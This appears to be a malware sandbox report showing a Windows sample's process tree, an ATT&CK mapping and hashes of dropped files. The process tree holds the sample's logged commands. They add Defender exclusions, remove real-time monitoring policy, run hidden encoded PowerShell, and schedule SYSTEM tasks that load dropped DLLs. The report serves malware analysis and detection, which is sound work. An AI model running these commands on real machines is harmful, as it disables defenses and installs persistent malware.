  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1908
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:844
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1152
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\nivjmgppGaMJQQVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1196
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\nivjmgppGaMJQQVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:828
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2836
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1880
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1556
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:3048
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2816
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2956
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2684
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:752
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2368
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2676
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:320
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2328
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2424
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2664
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1944
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2160
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\nivjmgppGaMJQQVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2396
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\nivjmgppGaMJQQVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2776
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1492
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1640
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2660
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1548
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1244
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gWCoqADDK" /SC once /ST 10:00:28 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1852
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gWCoqADDK"
    3⤵
    PID:1632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gWCoqADDK"
    3⤵
    PID:1280
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
    3⤵
    PID:1580
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
      4⤵
      PID:1708
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
    3⤵
    PID:1700
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
      4⤵
      PID:564
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "ZTNkTKukmvvbOMPkn" /SC once /ST 03:05:15 /RU "SYSTEM" /TR "\"C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\OWUeySP.exe\" 0c /dKLPdidpV 385118 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:2152
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "ZTNkTKukmvvbOMPkn"
    3⤵
    PID:1476
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2364 -s 616
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:2552
- C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\OWUeySP.exe
  C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\OWUeySP.exe 0c /dKLPdidpV 385118 /S
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops Chrome extension
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  PID:1072
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:2432
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:2724
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:2556
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:692
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:2684
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:1572
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:2540
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:2604
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:2584
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:2636
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:1544
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:1404
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:2420
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:2580
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:2404
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1872
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:2328
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "btZaCbGShXZoJDfvCg"
    3⤵
    PID:2444
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
    3⤵
    PID:1428
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
      4⤵
      PID:2440
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        
        PID:2456
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2140
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2716
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
      4⤵
      PID:2828
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        5⤵
        
        PID:1360
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1332
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1852
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\hsUwQAlMU\vzDxHD.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ucrVpivlTlXwlAC" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:2384
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "ucrVpivlTlXwlAC2" /F /xml "C:\Program Files (x86)\hsUwQAlMU\BwSTkRs.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2028
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /END /TN "ucrVpivlTlXwlAC"
    3⤵
    PID:2212
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "ucrVpivlTlXwlAC"
    3⤵
    PID:2232
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gXuMbmSriUtfuo" /F /xml "C:\Program Files (x86)\dlfHiRefefjU2\oNwMIaj.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:944
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "ZEKxHChbZmoqN2" /F /xml "C:\ProgramData\nivjmgppGaMJQQVB\yiJqQBw.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1208
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "GJlNcuNKEmfKGuMTK2" /F /xml "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\PNPNSmR.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1316
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "jVeWQSRcqyudsTDYlcg2" /F /xml "C:\Program Files (x86)\QtKEgKYoTGTqC\JaJEgHI.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2208
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "BjyVbWVaXyfCTlHuI" /SC once /ST 06:17:43 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\QqEAMUespgTHJnVz\sVZSXSEP\rizBTHb.dll\",#1 /YZTvdidh 385118" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1764
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "BjyVbWVaXyfCTlHuI"
    3⤵
    PID:2808
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "ZTNkTKukmvvbOMPkn"
    3⤵
    PID:1580
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1072 -s 1552
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:3012
- C:\Windows\system32\rundll32.EXE
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\QqEAMUespgTHJnVz\sVZSXSEP\rizBTHb.dll",#1 /YZTvdidh 385118
  2⤵
  PID:1244
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\QqEAMUespgTHJnVz\sVZSXSEP\rizBTHb.dll",#1 /YZTvdidh 385118
    3⤵
    - Blocklisted process makes network request
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    PID:1536
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "BjyVbWVaXyfCTlHuI"
      4⤵
      PID:1476

C:\Windows\system32\taskeng.exe
taskeng.exe {03342901-BB35-40A5-A060-9E51E9EC5E84} S-1-5-21-3452737119-3959686427-228443150-1000:QGTQZTRE\Admin:Interactive:[1]
1⤵
PID:1036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:572
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1840
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1988
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:3044

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2260

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2584

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Software Discovery

T1518

Security Software Discovery

T1518.001

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\360\Total Security\360Base64.dll

Filesize
1.2MB

MD5
115ba98b5abe21c4a9124dda8995d834

SHA1
5dd5cae213a9dbe5ea7729c1d2acd080f75cfa39

SHA256
80765adb886050b0f87e30fa62336985db67c09b25f4d1760194a28ff78899d7

SHA512
1c415c07dd59ef00c7bdcef35ac8fdeea88b6f482d266cc12bab3d4d3005a76eebbe97d06e5282e1dbe940ab2971ffdcbd0db2cd1d700c33805cf1831efe1a3d

Download Submit
C:\Program Files (x86)\360\Total Security\360NetBase.dll

Filesize
1.4MB

MD5
14c6b4bbd31f6fd13530bc941cc71d1a

SHA1
ce4e38ac82a54f64d318507ddc28f9ffbb378f0f

SHA256
401d8529a84f1d80a439be8cd4e869202162458e5afb5e5bac97c4859bfe8eb5

SHA512
c16d525f1d3fc098b4d6c8b8a872a9013ef2f945f27af73ed7826f61a2b80d756ae5348105432909eccc71f03834cd1301f87fa5a0107e0c7137f5c8e3a3cc95

Download Submit
C:\Program Files (x86)\360\Total Security\360NetBase64.dll

Filesize
2.2MB

MD5
869470ff4d2d3dffc2ef004a208fa4ac

SHA1
98b2e5b7240567b046b47021e98c84702a39347a

SHA256
ab52fff1840b010a1e6be5e432c44ca0aa2857d5da3df6574fc0fbc0004edc7a

SHA512
f7994f656fc52d5c9ff24d7746d7b36da6a749bdfeb06a24b17cb762e50bff1fbc9f4ae3e4ec884b81776905c870e70cd8fe326b2f3d21a3d1a866b274f369e2

Download Submit
C:\Program Files (x86)\360\Total Security\360rcbase.dat

Filesize
4KB

MD5
fae24f818a5721a020be0c6cccde118c

SHA1
8480eab0734e8a3401666dfb9afc392a253338da

SHA256
01d6c6cdae2f16aa0f502b6c03e2db4b21b56b55599f2223e3eea2b6129ca17c

SHA512
f9ec5f1d81981410592a2b77be30eb40bb7b9f1702368bad69ed8535999b496a604fb522af4cbc8eb840049a7cc814ce96d5e4e979b4335e396503a93fbe53c2

Download Submit
C:\Program Files (x86)\360\Total Security\I18N.dll

Filesize
95KB

MD5
7e181b91215ae31b6717926501093bc4

SHA1
8fcf05c9ac64c46c87acc1ec67631e7b66363d9e

SHA256
239824a487ae786daadc9e556c185561378f47ec7ba6b216c17242aea3a78ff9

SHA512
0df684bdd9c0a5cce81db692e336dcf3e8c8aec80d5d6fb8620227e2f31d5bfd1d63f9cb7f808cb9511fe483e7798fa6d5a51c0bb1ec3c3c86400767a17a155f

Download Submit
